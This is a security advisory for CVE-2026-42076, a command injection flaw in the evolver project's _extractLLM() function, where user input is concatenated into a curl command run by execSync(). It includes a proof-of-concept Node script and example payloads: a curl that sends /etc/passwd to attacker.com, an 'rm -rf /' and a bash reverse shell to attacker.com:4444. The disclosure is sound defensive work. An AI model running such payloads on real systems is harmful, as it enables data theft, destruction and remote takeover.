CVE-2026-42076

Description

### Summary A command injection vulnerability in the `_extractLLM()` function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to `execSync()` without proper sanitization, enabling remote code execution when the `corpus` parameter contains shell metacharacters. ### Details The vulnerability exists in `src/gep/signals.js` at lines 260-274: ```javascript // src/gep/signals.js:260-274 function _extractLLM(corpus, nodeSecret, hubUrl) { // ... var url = getHubUrl(hubUrl) + '/gep/extract'; var postData = JSON.stringify({ corpus_summary: summary }); // VULNERABLE: String concatenation into shell command var curlCmd = 'curl -s -m 10 -X POST' + ' -H "Content-Type: application/json"' + ' -H "Authorization: Bearer ' + nodeSecret + '"' + ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''") + ' ' + JSON.stringify(url); // VULNERABLE: Executes shell command stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' }); // ... } ``` The `corpus` parameter is derived from user input (via `userSnippet` in `extractSignals()` function) and flows through to `_extractLLM()` where it becomes part of the shell command. While `JSON.stringify()` escapes some characters, it does not prevent shell command substitution via `$(...)` syntax when the resulting string is passed to `execSync()`. The `extractSignals()` function is called from the main evolution loop in `src/gep/evolver.js`, which processes user snippets and session transcripts. ### PoC **Prerequisites:** - Node.js installed - Access to the evolver application **Steps to reproduce:** 1. Create a test file that simulates the vulnerable code path: ```javascript // test-command-injection.js const { execSync } = require('child_process'); // Simulate the vulnerable _extractLLM function function vulnerableExtractLLM(corpus) { const postData = JSON.stringify({ corpus_summary: corpus }); const curlCmd = 'curl -s -m 10 -X POST' + ' -H "Content-Type: application/json"' + ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''") + ' http://localhost/test'; console.log('Command that would be executed:'); console.log(curlCmd); console.log('\n--- Testing command substitution ---'); // Demonstrate that command substitution works const testCmd = 'echo ' + JSON.stringify('$(id)'); console.log('\nTest with echo:'); console.log(execSync(testCmd, { encoding: 'utf8' })); } // Payload with command injection const maliciousCorpus = '$(touch /tmp/pwned)'; vulnerableExtractLLM(maliciousCorpus); ``` 2. Run the test: ```bash node test-command-injection.js ``` **Expected result:** The command substitution `$(id)` is executed by the shell, demonstrating that the same technique could be used with `curl` to execute arbitrary commands. **Actual exploit scenario:** If an attacker can control the `userSnippet` parameter that flows into `extractSignals()` (e.g., via compromised log files or malicious user input), they can inject shell commands like: - `$(curl attacker.com/exfil?data=$(cat /etc/passwd))` - `$(rm -rf /)` - `$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)` ### Impact This is a **Remote Code Execution (RCE)** vulnerability. An attacker who can control input to the `extractSignals()` function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to: - Full system compromise - Data exfiltration - Installation of malware/backdoors - Lateral movement within the network **Affected users:** Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.